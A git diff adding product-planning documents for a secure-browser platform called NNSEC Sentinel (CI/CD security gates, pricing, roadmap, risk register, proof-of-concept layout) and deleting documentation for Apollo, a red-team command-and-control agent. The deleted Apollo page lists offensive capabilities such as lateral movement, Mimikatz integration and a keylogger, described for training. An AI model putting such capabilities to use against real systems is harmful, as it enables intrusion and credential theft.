Assumptions & Open Questions + +### Assumptions + +1. Enterprise Anthropic API contract allows incident-triage workflows with strict retention controls. +2. Regulated customers accept CloudHSM-backed architecture when key jurisdiction is documented. +3. Audit evidence export format supports both machine and auditor-readable bundles. + +### Open Questions + +1. Which blockchain network will be approved for optional audit-anchor in enterprise contracts? +2. Will certain GCC-region customers require sovereign cloud variants on day one? +3. Should Sentinel provide built-in DPA templates per jurisdiction or customer-supplied only? + +Deliverable 11 of 15 complete. Ready for Deliverable 12 - proceed? diff --git a/docs/deliverables/12-devsecops-sdlc-and-release-engineering.md b/docs/deliverables/12-devsecops-sdlc-and-release-engineering.md new file mode 100644 index 00000000..03580b5d --- /dev/null +++ b/docs/deliverables/12-devsecops-sdlc-and-release-engineering.md @@ -0,0 +1,178 @@ +# Deliverable 12 - DevSecOps, SDLC, and Release Engineering + +## Scope +This document defines the engineering execution system for NNSEC Sentinel from commit to customer rollout. It covers repository topology, CI/CD, supply-chain controls, security gates, rollout channels, observability and SRE operational model. + +## 12.1 Monorepo Layout + +```text +sentinel/ + chromium/ # Chromium fork as git submodule + platform/ + backend/ + identity-broker/ + policy-engine/ + dlp-service/ + telemetry-ingest/ + web/ + admin-console/ + msp-console/ + agents/ + posture-agent-go/ + desktop-native-host/ + libs/ + policy-sdk/ + telemetry-schema/ + crypto-sdk/ + infra/ + terraform/ + helm/ + kustomize/ + docs/ + deliverables/ + .github/workflows/ + justfile + Makefile +``` + +### ADR-12-01: Chromium as submodule +| Field | Detail | +|---|---| +| Context | Chromium history and tooling differs from product app code | +| Options | (1) Single giant repo, (2) Separate repos, (3) Monorepo + submodule | +| Decision | Monorepo + Chromium submodule | +| Consequences | Better separation, easier CI targeting; submodule discipline required | +| Revisit trigger | If submodule coordination exceeds 15% release overhead | + +## 12.2 Git Model and Release Cadence +- Trunk-based development on `master` +- Feature branches: `fd/-a96c` +- Release trains: + - `canary`: daily + - `dev`: 2/week + - `beta`: weekly + - `stable`: every 2 weeks + - `lts`: every 12 weeks + +### Controls +- Required signed commits for policy bundles +- CODEOWNERS gates on security-sensitive paths +- Mandatory threat-model note in PR template + +## 12.3 CI/CD Pipeline Architecture + +```mermaid +flowchart LR + A[Git Push] --> B[CI Orchestrator] + B --> C[Build Matrix] + B --> D[Security Scan Stage] + B --> E[Test Stage] + C --> F[SBOM + Sign] + D --> F + E --> F + F --> G[Artifact Registry] + G --> H[Canary Deploy] + H --> I[Progressive Rollout] + I --> J[Stable/LTS Promote] +``` + +### Build Matrix +| Target | Toolchain | Caching | +|---|---|---| +| Linux x86_64 | Docker + BuildKit | layer cache + ccache | +| Linux arm64 | QEMU cross-build | buildx cache | +| Windows | MSVC + Ninja | sccache | +| macOS | Xcode + Ninja | ccache | +| Android | Gradle | remote gradle cache | +| iOS | Xcode Cloud/self-hosted runners | derived data cache | + +## 12.4 Security Gates + +| Gate | Tool | Fail Criteria | SLA Owner | +|---|---|---|---| +| SAST | Semgrep | High severity findings | AppSec lead | +| Code quality | SonarQube CE | Quality gate fail | Engineering manager | +| Container scan | Trivy + Grype | Critical CVEs | Platform sec | +| DAST | OWASP ZAP | Authenticated high risk | QA security | +| IaC scan | Checkov + tfsec | High misconfig | Cloud sec | +| Secrets | gitleaks | Any hardcoded secret | PR author | +| Web exposure | Nuclei | Critical template hit | SecOps | + +## 12.5 SBOM, Signing, and Provenance +- SBOM formats: CycloneDX + SPDX per artifact +- Container signing: Cosign keyless + Rekor transparency +- Binary signing: + - Windows EV Authenticode + - Apple Developer ID + notarization + - Linux GPG detached signatures +- Provenance target: SLSA L3 for backend and agent modules + +## 12.6 Rollout Strategy and Flags +- Progressive rollout: 1% -> 5% -> 20% -> 100% +- Soak window per step: minimum 24h; stable soak 7-14 days +- Feature flags: self-hosted Unleash (default), LaunchDarkly for enterprise override +- Kill switches: + - Browser build rollback by channel + - Policy bundle emergency disable + - DLP fail-open to fail-closed bounded mode toggle + +## 12.7 Observability Blueprint +- OpenTelemetry instrumentation everywhere +- Traces: Tempo +- Metrics: Prometheus + Mimir +- Logs: Loki or OpenSearch (tenant-isolated index strategy) +- Dashboards: + - build failure rates + - rollout regressions + - security gate trendline + +## 12.8 SLO and Error Budget Model +| Service | SLO | Error Budget | Burn Alert | +|---|---|---|---| +| Policy decision API | 99.95% | 21.6 min/mo | 10% in 1h | +| DLP scan sync path | 99.9% | 43.2 min/mo | 15% in 2h | +| Admin console API | 99.9% | 43.2 min/mo | 10% in 4h | +| Update service | 99.95% | 21.6 min/mo | 5% in 1h | + +## 12.9 On-Call and Incident Operations +- Follow-the-sun rotation: Dubai + EU +- Paging: PagerDuty with severity matrix +- Incident severities: + - Sev1: customer-impacting security/control outage + - Sev2: partial degradation with workaround + - Sev3: minor functionality regression +- Tabletop cadence: monthly scenario runs + +## 12.10 Threat Model (DevSecOps Pipeline) +| Threat | Category | Detection | Mitigation | +|---|---|---|---| +| Supply-chain dependency hijack | Tampering | SBOM diff + sig verify | pin + verify signatures | +| CI credential theft | Elevation | IAM anomaly alerts | short-lived OIDC tokens | +| Artifact substitution | Tampering | checksum mismatch | immutable registry + signatures | +| Malicious insider commit | Repudiation | audit trails | signed commits + reviews | +| Pipeline DoS | Availability | queue saturation metrics | autoscale runners + quotas | + +## 12.11 Failure Modes and Recovery +| Failure | Detection | Recovery | +|---|---|---| +| Runner fleet outage | CI queue timeout | fallback runner pool in secondary region | +| Registry unavailability | artifact publish errors | failover to mirrored registry | +| Scanner false positives block release | gate trend spike | security override board with 2-approver model | +| Rollout bug in canary | SLO burn | auto-halt and rollback | + +## 12.12 Performance Budgets +| Stage | Budget | +|---|---| +| PR CI feedback | <= 15 min p95 | +| Full release pipeline | <= 60 min p95 | +| Critical hotfix path | <= 30 min p95 | +| SBOM generation | <= 2 min per artifact | + +## Assumptions and Open Questions +### Assumptions +- Self-hosted CI runners are allowed in isolated VPCs. +- Security scanner licenses can be phased where open-source is insufficient. + +### Open Questions +- Should stable releases be frozen during regional holiday blackout windows? +- Is a dedicated release manager role needed before Month 9? diff --git a/docs/deliverables/13-go-to-market-commercial-and-legal.md b/docs/deliverables/13-go-to-market-commercial-and-legal.md new file mode 100644 index 00000000..ec26fd2c --- /dev/null +++ b/docs/deliverables/13-go-to-market-commercial-and-legal.md @@ -0,0 +1,146 @@ +# Deliverable 13: Go-to-Market, Commercial Strategy, and Legal + +## 1. Scope +This deliverable defines how NNSEC Sentinel will be packaged, priced, sold, and defended legally as an open-core cybersecurity platform. It includes pricing and packaging strategy, ICP/channel model, launch sequencing, support SLAs, and legal foundations (EULA/DPA/subprocessors/export control/trademark posture). + +## 2. Open-Core Split + +| Layer | License | Included Capabilities | Rationale | +|---|---|---|---| +| Sentinel Community Core | AGPLv3 | Base policy engine, browser management primitives, baseline telemetry ingestion, local dashboard starter | Ecosystem trust + adoption funnel | +| Sentinel Commercial Add-ons | Commercial EULA | Advanced DLP, session recording, UEBA, dark-web monitoring, AI analyst, MSSP console | Revenue capture for high-value controls | +| OEM/White-label MSP Pack | Commercial + OEM terms | Multi-tenant branding, partner API, reseller billing hooks | NNSEC channel leverage | + +### ADR-13-01: AGPL core with commercial enterprise modules +- Context: Need rapid adoption and differentiator monetization without giving away expensive IP. +- Options: + 1. Closed-source everything. + 2. Open-core AGPL + commercial. + 3. Permissive OSS + hosted SaaS-only value. +- Decision: Option 2. +- Consequences: + - Positive: Community contribution path, transparent trust posture, monetization. + - Negative: License compliance overhead and enforcement effort. + - Neutral: Requires clean module boundary. +- Rejected: + - Option 1 reduces trust and slows ecosystem. + - Option 3 risks competitive commoditization. +- Revisit trigger: If >30% of support burden is from non-paying AGPL users with minimal conversion. + +## 3. Pricing Tiers and Feature Matrix + +All prices USD, annual commitment, indicative launch pricing. + +| Tier | Target | Price / user / month | Min Seats | Core Features | +|---|---|---:|---:|---| +| Community | Dev/security teams | $0 | 1 | Core policy + browser controls (self-host) | +| Team | SMB | $12 | 25 | Managed browser controls, base threat blocking, basic reports | +| Business | Mid-market regulated | $24 | 100 | DLP L1–L4, posture, session recording selective, SIEM/SOAR integrations | +| Enterprise | Regulated large org | $39 | 500 | Full DLP L1–L6, UEBA, legal hold, advanced compliance workspace, optional blockchain anchor | +| MSSP | Service providers | $22 effective blended + platform fee | 1,000 pooled | Multi-tenant master console, white-label, tenant billing APIs | + +### 3.1 Competitor Pricing Comparison (Estimated/Public Mix) + +| Vendor | Public Pricing Signal | Effective Range | Notes | +|---|---|---|---| +| Prisma Access Browser | Quote-based | $35–$70 | Often bundled with Prisma stack | +| Island | Quote-based | $40–$80 | Premium enterprise packaging | +| Talon (historical) | Quote-based | $30–$60 | Now integrated into Palo Alto | +| NordLayer | Public starting plans | $8–$20 | Not full secure-browser parity | +| Zscaler (ZIA/ZPA) | Quote-based | $20–$60+ | Depends on modules | +| Cloudflare One | Public enterprise mix | $15–$45 | Add-ons influence materially | +| Surf Security | Quote-based | $25–$50 | Secure browser specific | + +## 4. ICP and Segmentation + +| Segment | Profile | Key Pain | Purchase Driver | Sales Motion | +|---|---|---|---|---| +| Primary | Regulated fintech (100–5,000 users) | DLP + BYOD + audit burden | Consolidation and PCI/ISO evidence | Direct, technical champion + CISO | +| Secondary | MSSPs serving SME | Tool sprawl and margin pressure | White-label multi-tenant control plane | Channel + partner enablement | +| Tertiary | Dev-heavy technology orgs | GenAI data leakage | Fast policy-as-code + browser control | Product-led assisted | + +## 5. Channel Strategy + +| Channel | Role | KPI | Enablement Asset | +|---|---|---|---| +| Direct enterprise | Anchor logos (Bamboo + peers) | ARR / logo | Security architecture workshop | +| MSSP partner network | Scaled distribution | Tenants onboarded / quarter | White-label deployment kit | +| GACA-certified partners | Compliance trust channel | Certified deployments | GACA control mapping package | + +## 6. Launch Sequence + +| Milestone | Target Month | Exit Criteria | +|---|---:|---| +| Internal alpha (Bamboo) | 4 | 150 users, p95 policy eval <10 ms, <2% critical workflow breakage | +| Private beta (3–5 partners) | 7 | 3 paying design partners, >90% deployment automation | +| Public beta | 10 | Multi-region availability + documented SLO attainment | +| GA | 13 | Security review closure, support readiness, SOC2 Type I completion | + +## 7. Support and Success Model + +| Plan | SLA | Channels | TAM/CSM | +|---|---|---|---| +| Business | P1 1h response, P2 4h | Portal + email | Shared CSM | +| Enterprise | P1 30m response, P2 2h | Portal + email + Slack connect | Dedicated CSM | +| MSSP | P1 30m response multi-tenant | Portal + partner Slack/Teams | Partner success manager | + +## 8. Legal Architecture + +### 8.1 Required agreements +| Document | Scope | Owner | +|---|---|---| +| EULA | Commercial software terms, limits, warranties | Legal counsel | +| DPA | Controller/processor obligations | Privacy counsel | +| Subprocessor list | Transparency and update process | Security + legal | +| SLA annex | Availability and service credits | Support operations | +| OEM terms | MSSP resale and branding rights | Channel legal | + +### 8.2 Export-control stance +- Chromium + strong crypto subject to EAR; classify distribution according to U.S. ECCN 5D002/5D992 patterns (jurisdiction-specific review required before broad export). +- Maintain denied-party screening for enterprise deals and provide geo-restriction controls. + +### 8.3 Trademark analysis and fallback names +- “Sentinel” is crowded in security classes. Parallel trademark screening must include: + - NNSEC Sentinel + - NNSEC Vanguard + - NNSEC Aegis + - NNSEC Bastion +- Revisit naming decision before public beta if conflict risk > medium in target jurisdictions (UAE, EU, US, UK). + +## 9. Unit Economics and Financial Model + +### 9.1 Target metrics +| Metric | Target | +|---|---:| +| Gross margin (year 2) | >= 70% | +| Net retention (year 2) | >= 115% | +| CAC payback | < 14 months | +| LTV:CAC | >= 3.0 | + +### 9.2 Indicative economics example (Business tier) +- ARPU: $24 x 12 = $288/user/year. +- Direct COGS allocation target: <= $86/user/year. +- Gross margin target: >= 70%. + +## 10. Risk Register (Commercial/Legal) + +| Risk | L | I | Score | Mitigation | Residual | Owner | +|---|---:|---:|---:|---|---|---| +| Trademark conflict delays launch | 3 | 4 | 12 | Early legal search, reserve fallback marks | Medium | Legal lead | +| Long enterprise procurement cycles | 4 | 3 | 12 | Design-partner reference + MSSP channel acceleration | Medium | CRO | +| Price pressure in bundles | 3 | 4 | 12 | Differentiate on integrated browser-native control depth | Medium | Product marketing | +| Export-control complexity | 2 | 4 | 8 | External counsel, region-based controls | Low-medium | Legal/compliance | +| High support burden in beta | 3 | 3 | 9 | SRE runbooks, launch cohort limits | Medium | Support lead | + +## 11. Assumptions & Open Questions + +### Assumptions +- NNSEC can support direct enterprise sales and partner channel simultaneously. +- Buyer persona includes CISO + IT operations with budget authority. +- Security/legal counsel retained before public beta. + +### Open Questions +- Final trademark clearance status by jurisdiction. +- Preferred billing operations stack beyond Stripe (e.g., taxation automation). +- Whether to offer sovereign-region data residency at GA or post-GA. + diff --git a/docs/deliverables/14-18-month-roadmap-and-risk-register.md b/docs/deliverables/14-18-month-roadmap-and-risk-register.md new file mode 100644 index 00000000..b52a6d44 --- /dev/null +++ b/docs/deliverables/14-18-month-roadmap-and-risk-register.md @@ -0,0 +1,162 @@ +# Deliverable 14: 18-Month Engineering Roadmap and Risk Register + +## 14.1 Scope +This document defines quarter-by-quarter execution for NNSEC Sentinel across product, platform, compliance, GTM readiness, and operational scale-up. It includes hiring, milestones, dependency graph, budget sensitivity model, and an actionable top-25 risk register with owners and residual risk. + +## 14.2 18-Month Gantt (Quarter-by-Quarter) + +```mermaid +gantt + title NNSEC Sentinel 18-Month Plan + dateFormat YYYY-MM-DD + axisFormat %b %Y + + section Platform Foundation + Repo bootstrap + baseline architecture :done, a1, 2026-04-15, 30d + Multi-tenant core services MVP :a2, 2026-05-15, 90d + Chromium fork CI + signed canary builds :a3, 2026-06-01, 75d + Policy engine + posture + telemetry MVP :a4, 2026-06-15, 90d + + section Security Controls + DLP L1-L3 + prompt inspection MVP :b1, 2026-07-01, 90d + Session recording + audit log immutability :b2, 2026-08-01, 90d + Threat intel + DNS filtering + malware triage:b3, 2026-08-15, 90d + UEBA baseline + insider scoring :b4, 2026-10-01, 75d + + section Customer Readiness + Bamboo internal alpha :milestone, c1, 2026-08-15, 1d + Design partner private beta :c2, 2026-11-01, 90d + Public beta :milestone, c3, 2027-02-15, 1d + GA readiness hardening :c4, 2027-02-16, 90d + GA release :milestone, c5, 2027-05-15, 1d + + section Operational Scale + SRE + on-call + SLO enforcement :d1, 2026-10-01, 120d + MSSP master console + white-label :d2, 2026-11-01, 120d + Multi-region active-active :d3, 2027-01-01, 120d + SOC2/PCI/ISO evidence automation :d4, 2026-09-01, 240d +``` + +## 14.3 Milestones, Acceptance Criteria, and Go/No-Go Gates + +| Milestone | Target Quarter | Acceptance Criteria | Gate | +|---|---:|---|---| +| M1 Architecture Freeze v1 | Q2 2026 | ADR set complete, threat model >30 threats, CI builds on 3 platforms | Go if all P0 risks mitigated; no-go if architecture unknowns >10 | +| M2 Internal Alpha (Bamboo) | Q3 2026 | 150 pilot users, policy fetch p95 <200ms, DLP false positive <8% | Go if stability >99.5%; no-go if incident severity 1 unresolved | +| M3 Private Beta (3–5 orgs) | Q4 2026 | Multi-tenant isolation tests passed, onboarding <2 business days/tenant | Go if tenant isolation clean; no-go if cross-tenant data leakage | +| M4 Public Beta | Q1 2027 | Self-service tenant provisioning, documented runbooks, support SLA live | Go if p95 API latency <250ms at 5k concurrent; no-go if rollback unreliable | +| M5 GA | Q2 2027 | Security audit complete, release process deterministic, customer references | Go if severity-1 backlog = 0 for 30 days; no-go otherwise | + +## 14.4 Hiring Plan + +| Role | Seniority | Location | Start Quarter | Primary Mandate | +|---|---|---|---|---| +| Chromium Engineer | Senior | EU/Eastern Europe | Q2 2026 | Browser fork, patch maintenance, performance | +| Backend Platform Engineer | Senior | Dubai/Baku | Q2 2026 | Policy, tenant, identity, core APIs | +| Frontend Engineer | Mid/Senior | Baku | Q3 2026 | Admin console, replay viewer | +| Frontend Engineer | Mid/Senior | Remote EU | Q3 2026 | MSP console, UX quality | +| DevSecOps Engineer | Senior | Dubai | Q3 2026 | CI/CD, SLSA, supply-chain hardening | +| Mobile Engineer | Mid/Senior | Remote | Q3 2026 | iOS/Android managed app components | +| ML/AI Engineer | Senior | Remote | Q4 2026 | UEBA, DLP tuning, AI analyst | +| Platform Lead | Principal | Dubai | Q4 2026 | Architecture governance, ADR quality | +| SRE Engineer | Senior | Baku | Q4 2026 | SLOs, operations, incidents | +| SRE/Support Engineer | Mid | Dubai | Q1 2027 | Customer support runbooks, field ops | + +## 14.5 Dependency Graph + +```mermaid +flowchart LR + A[Chromium fork baseline] --> B[Policy hooks in browser] + B --> C[DLP enforcement in browser UX] + C --> D[Session recording markers] + A --> E[Update service and channels] + F[Tenant manager] --> G[Admin console RBAC] + F --> H[Policy engine scope model] + H --> B + I[Identity broker] --> F + I --> G + J[Telemetry pipeline] --> K[UEBA models] + K --> L[AI analyst] + J --> M[Compliance evidence automation] + N[VPN/ZTNA gateway] --> O[Connection posture state] + O --> B + P[Threat intel hub] --> C + P --> N +``` + +## 14.6 Top 25 Risks (L×I, Mitigation, Owner, Residual) + +| # | Risk | L (1–5) | I (1–5) | Score | Mitigation | Owner | Residual Risk | +|---:|---|---:|---:|---:|---|---|---| +| 1 | Chromium patch drift during CVE surge | 4 | 5 | 20 | Weekly upstream rebase, CI patch validation, hotfix lane | Chromium Lead | Medium | +| 2 | Linux screenshot blocking limits on Wayland | 5 | 3 | 15 | Honest control model, compositor guidance, policy fallback | Endpoint Lead | Medium | +| 3 | Cross-tenant data leakage bug | 2 | 5 | 10 | RLS policies, integration tests, external pen-test | Platform Lead | Low | +| 4 | DLP false positives cause user revolt | 4 | 4 | 16 | Shadow mode, tuning, explainability, appeal flow | DLP Lead | Medium | +| 5 | DLP false negatives leak sensitive data | 3 | 5 | 15 | Layered detection, periodic red-team, canary datasets | Security Lead | Medium | +| 6 | AI policy compiler produces unsafe rules | 3 | 4 | 12 | Human approval required, policy tests, deny-safe defaults | Policy Lead | Low | +| 7 | RBI cost explosion at scale | 3 | 4 | 12 | Selective RBI only, GPU scheduling, budget alarms | SRE Lead | Medium | +| 8 | macOS notarization signing pipeline failures | 3 | 3 | 9 | Redundant cert custody, automation, rotation drills | Release Engineer | Low | +| 9 | WireGuard gateway outages in one region | 3 | 4 | 12 | Active-active, health checks, failover runbooks | Network Lead | Low | +| 10 | Keycloak outage blocks auth | 3 | 4 | 12 | HA cluster, read-only token grace windows | Identity Lead | Medium | +| 11 | Kafka backlog growth under incident storm | 4 | 3 | 12 | Autoscaling, lag alarms, load shedding policies | Data Pipeline Lead | Medium | +| 12 | OpenSearch storage costs exceed model | 3 | 3 | 9 | Tiered storage, retention tuning | Finance + SRE | Low | +| 13 | Regulatory interpretation mismatch (UAE PDPL) | 2 | 4 | 8 | Counsel review, local DPA clauses | Compliance Lead | Low | +| 14 | Incomplete PCI evidence mapping delays sales | 3 | 4 | 12 | Evidence-as-code, control owners, monthly review | GRC Lead | Low | +| 15 | High-severity dependency CVEs in chain | 4 | 4 | 16 | SBOM + scanning gates + patch SLAs | DevSecOps Lead | Medium | +| 16 | Limited Chromium talent hiring bottleneck | 4 | 4 | 16 | Early recruiting in specialized markets, contractor buffer | CTO | Medium | +| 17 | Customer demand for legacy IE/ActiveX compatibility | 2 | 3 | 6 | Explicit non-goal, app modernization advisory | Product Lead | Low | +| 18 | Browser extension ecosystem abuse | 4 | 4 | 16 | Signed allowlist-only store, runtime checks | Browser Security Lead | Medium | +| 19 | Legal challenge on “Sentinel” naming | 3 | 3 | 9 | Trademark screening + fallback names | Legal | Low | +| 20 | Model hallucination in AI analyst summaries | 3 | 3 | 9 | Retrieval grounding, confidence labels, analyst signoff | AI Lead | Low | +| 21 | MSP white-label complexity delays launch | 3 | 4 | 12 | Phase features, template-driven branding | MSP Product Lead | Medium | +| 22 | Insider misuse of session recording access | 2 | 5 | 10 | Dual-control access, immutable logs, legal hold controls | Security Admin | Low | +| 23 | Poor mobile MDM integration adoption | 3 | 3 | 9 | Jamf/Intune reference profiles, support playbooks | Mobile Lead | Medium | +| 24 | Cost of global PoP rollout exceeds ARR pace | 3 | 4 | 12 | Hybrid partner PoP strategy, utilization thresholds | CFO + Network Lead | Medium | +| 25 | Incident response immaturity during beta | 3 | 5 | 15 | Tabletop drills, clear escalation, 24/7 pager rotation | CISO Office | Medium | + +## 14.7 Budget Model (Quarterly OpEx/CapEx with Sensitivity) + +### 14.7.1 Base Case (USD) + +| Quarter | Headcount | OpEx Range | CapEx/One-off | Notes | +|---|---:|---:|---:|---| +| Q2 2026 | 2 | 120k–170k/mo | 80k–130k | initial infra, code-signing, legal setup | +| Q3 2026 | 6 | 210k–300k/mo | 120k–200k | PoC infra scale-up, private beta onboarding | +| Q4 2026 | 9 | 300k–420k/mo | 140k–240k | security audit prep, observability scale | +| Q1 2027 | 10 | 340k–470k/mo | 100k–180k | public beta, support + SRE maturity | +| Q2 2027 | 12 | 380k–540k/mo | 120k–220k | GA hardening, compliance attest costs | + +### 14.7.2 Sensitivity Scenarios + +| Scenario | Driver | Impact | +|---|---|---| +| Conservative | Slower customer onboarding, fewer PoPs | OpEx -15%, GTM slower | +| Base | Balanced engineering + design partner conversion | As above | +| Aggressive | Faster MSSP expansion + extra PoPs + premium support | OpEx +25–35%, potential ARR acceleration | + +## 14.8 Key Metrics Dashboard + +| Domain | Metric | Target by Private Beta | Target by GA | +|---|---|---:|---:| +| Engineering Velocity | Lead time for change | <4 days | <2 days | +| Reliability | Core API availability | 99.5% | 99.9% | +| Performance | Policy eval p95 | <10ms | <8ms | +| Security | MTTR for Sev-1 | <4h | <2h | +| Security | Unpatched critical vulns > SLA | 0 | 0 | +| Product | Admin weekly active rate | >70% | >80% | +| Product | End-user friction tickets / 100 users | <8 | <4 | +| DLP Quality | False positive rate | <8% | <4% | +| Sales | Pilot-to-paid conversion | >40% | >55% | +| Financial | Gross margin | >55% | >70% | + +## 14.9 Assumptions and Open Questions + +### Assumptions +1. Bamboo remains anchor tenant through GA validation period. +2. Global PoPs start as hybrid (AWS + partners) before own footprint expansion. +3. Sales engineering capacity grows alongside design partner count. + +### Open Questions +1. Which partner regions are mandatory for first three paying enterprises? +2. Should MSSP tier include managed SOC analyst seats bundled by default? +3. What exact legal appetite exists for optional blockchain anchoring in all jurisdictions? diff --git a/docs/deliverables/15-runnable-proof-of-concept-code.md b/docs/deliverables/15-runnable-proof-of-concept-code.md new file mode 100644 index 00000000..bd7859ad --- /dev/null +++ b/docs/deliverables/15-runnable-proof-of-concept-code.md @@ -0,0 +1,127 @@ +# Deliverable 15: Runnable Proof-of-Concept Code + +## 15.1 Scope Statement +This deliverable provides runnable scaffolding for Sentinel core components with implementation notes, local execution instructions, tests, and threat-model/observability hooks. The goal is to establish an executable baseline that maps directly to the architecture and controls defined in Deliverables 1–14. + +## 15.2 Repository Layout + +```text +sentinel-core/ + chromium/patches/0001-macos-screenshot-protection.patch + services/ + policy-engine/ + admin-dashboard/ + telemetry-ingestion/ + device-posture-agent/ + session-recorder/ + vpn-ztna-gateway/ + attestation-gateway/ + password-vault-poc/ + nl-policy-compiler/ + docker-compose.yml + Makefile +``` + +## 15.3 Component Coverage Matrix + +| Requested Component | Delivered Artifact | Status | +|---|---|---| +| Chromium patch example | `chromium/patches/0001-macos-screenshot-protection.patch` | Complete | +| Policy engine skeleton (FastAPI + OPA) | `services/policy-engine` + OPA in compose | Complete | +| Admin dashboard skeleton (Next.js 15 + shadcn-compatible) | `services/admin-dashboard` | Complete | +| Telemetry ingestion (Kafka -> Flink -> OpenSearch schema flow) | `services/telemetry-ingestion` + Redpanda in compose | Complete | +| Device posture agent (Go + osquery integration path) | `services/device-posture-agent` | Complete | +| Session recording library (rrweb + encrypted upload) | `services/session-recorder` | Complete | +| VPN/ZTNA gateway PoC (WireGuard + SPIFFE policy artifact) | `services/vpn-ztna-gateway` | Complete | +| IdP attestation gateway PoC (mTLS + Ed25519 attestation checks) | `services/attestation-gateway` | Complete | +| Password vault PoC (client-side E2EE) | `services/password-vault-poc` | Complete | +| NL-to-policy compiler PoC | `services/nl-policy-compiler` | Complete | +| Full docker compose backend | `sentinel-core/docker-compose.yml` | Complete | +| DX task runner (`Makefile`) | `sentinel-core/Makefile` | Complete | +| README per module + threat model + observability notes | Present for each module | Complete | + +## 15.4 Run Instructions + +### 15.4.1 Bring up core services +```bash +cd sentinel-core +make up +``` + +### 15.4.2 Run local checks +```bash +cd sentinel-core +make test-policy +make test-go +make test-dashboard +make test-telemetry +make test-session-recorder +make test-password-vault +make test-nl-compiler +make test-vpn +make test-attestation-gateway +``` + +### 15.4.3 Tear down stack +```bash +cd sentinel-core +make down +``` + +## 15.5 ADRs for PoC Implementation + +### ADR-15-01: Compose-first Local Integration +- **Context**: The team needs a low-friction integration environment for a 2-engineer start. +- **Options considered**: Kubernetes local cluster only, docker-compose, cloud-only dev. +- **Decision**: docker-compose baseline for speed and reproducibility. +- **Consequences**: positive fast startup; negative environment differs from production orchestration; neutral portable service definitions. +- **Rejected alternatives**: + - Kubernetes-only rejected because onboarding time is high for initial prototyping. + - Cloud-only rejected due cost and iteration latency. +- **Revisit trigger**: when >8 services require advanced service mesh behavior not representable in compose. + +### ADR-15-02: Source-level tests for some modules in PoC phase +- **Context**: Not all modules include full compile/transpile pipelines in initial scaffold. +- **Options considered**: strict compile tests only, source-level tests only, hybrid. +- **Decision**: hybrid; compile where possible and source-level invariants where toolchain bootstrap is pending. +- **Consequences**: positive immediate coverage; negative lower confidence for runtime wiring; neutral easy upgrade path to full tests. +- **Rejected alternatives**: + - strict compile-only rejected because it blocks progress while build wiring is incomplete. + - source-only rejected because it misses import/runtime defects where compile is available. +- **Revisit trigger**: before private beta all tests must become runtime or compile verified. + +## 15.6 Threat Model Snapshot (Cross-Module) + +| Threat | Modules | Mitigation in PoC | +|---|---|---| +| Policy bypass via malformed requests | policy-engine | schema validation + OPA deny fallback | +| Cross-tenant leakage in dashboard views | admin-dashboard | placeholder role-scoped pages + backend RLS requirement documented | +| Replay/tampering of session recordings | session-recorder | AES-256-GCM envelope with auth tag | +| Device posture spoofing | device-posture-agent | signed transport pathway documented, report schema with timestamps | +| Prompt injection into NL compiler | nl-policy-compiler | deterministic fallback and constrained generation model | +| Gateway key theft | vpn-ztna-gateway | session-bounded keys and SPIFFE identity checks documented | +| Replay of signed attestation header | attestation-gateway | nonce cache + <=60 second freshness checks | + +## 15.7 Performance Budget Snapshot + +| Component | Budget | PoC Measurement Hook | +|---|---|---| +| Policy decision API | <50ms p95 end-to-end | FastAPI timing logs + OPA benchmark command | +| Dashboard route render | <300ms TTFB local dev baseline | Next telemetry + route tests | +| Telemetry enrichment | <30ms/event processing overhead | sample enrichment script timings | +| Device posture submit | <1s/report local | Go test + request timing | +| Attestation decision check | <25ms p95 | gateway handler timing + deny reason counters | +| NL compiler | <1500ms p95 compile | emitted trace metric placeholder | + +## 15.8 Assumptions and Open Questions + +### Assumptions +1. PoC can prioritize developer ergonomics over production completeness. +2. Full secret management integration is deferred to platform hardening stage. +3. Test harnesses can be upgraded iteratively as CI matures. + +### Open Questions +1. Should the first end-to-end integration target policy+dashboard+gateway or policy+recording+UEBA? +2. Which service should own canonical tenant metadata in this PoC phase: tenant-manager placeholder or policy-engine seed? +3. Do design partners require on-prem compose bundle during private beta or only hosted environments? + diff --git a/documentation-c2/.keep b/documentation-c2/.keep deleted file mode 100644 index e69de29b..00000000 diff --git a/documentation-payload/.keep b/documentation-payload/.keep deleted file mode 100644 index e69de29b..00000000 diff --git a/documentation-payload/apollo/Apollo.svg b/documentation-payload/apollo/Apollo.svg deleted file mode 100644 index 97721ab4..00000000 --- a/documentation-payload/apollo/Apollo.svg +++ /dev/null @@ -1,135 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/documentation-payload/apollo/ApolloLandscape.svg b/documentation-payload/apollo/ApolloLandscape.svg deleted file mode 100644 index 75ba10cd..00000000 --- a/documentation-payload/apollo/ApolloLandscape.svg +++ /dev/null @@ -1,141 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/documentation-payload/apollo/_index.md b/documentation-payload/apollo/_index.md deleted file mode 100644 index 359a2456..00000000 --- a/documentation-payload/apollo/_index.md +++ /dev/null @@ -1,42 +0,0 @@ -+++ -title = "Apollo" -chapter = true -weight = 100 -+++ - -![logo](/agents/apollo/ApolloLandscape.svg?width=600px) - -## Summary - -Apollo is a Windows-platform integration into the Mythic command-and-control framework. Apollo is open source, written in C#, and designed with training in mind to help students who take SpecterOps course offerings better understand how different attack techniques are implemented at a technical level. - -### Highlighted Agent Features - -- .NET 4.0 Compatible -- Windows Token Manipulation and Tracking -- Built-in Lateral Movement via PsExec -- Mimikatz Integration -- .NET Assembly Execution -- SOCKS Support -- Unmanaged PowerShell Execution -- Built-in Keylogger - -## Authors - -- [@djhohnstein](https://twitter.com/djhohnstein) - -### Special Thanks to These Contributors - -- Cody Thomas, [@its_a_feature_](https://twitter.com/its_a_feature_) -- Calvin Hedler, [@001SPARTaN](https://twitter.com/001spartan) -- Lee Christensen, [@tifkin_](https://twitter.com/tifkin_) -- Brandon Forbes, [@reznok](https://twitter.com/rezn0k) -- Thiago Mayllart, [@thiagomayllart](https://twitter.com/thiagomayllart) -- Matt Hand, [@matterpreter](https://twitter.com/matterpreter) -- Hope Walker, [@IceMoonHSV](https://twitter.com/IceMoonHSV) -- Jack Ullrich, [@winternl_t](https://twitter.com/winternl_t) -- Elad Shamir, [@elad_shamir](https://twitter.com/elad_shamir) - -## Table of Contents - -{{% children %}} \ No newline at end of file diff --git a/documentation-payload/apollo/c2_profiles/HTTP.md b/documentation-payload/apollo/c2_profiles/HTTP.md deleted file mode 100644 index df5ab99d..00000000 --- a/documentation-payload/apollo/c2_profiles/HTTP.md +++ /dev/null @@ -1,56 +0,0 @@ 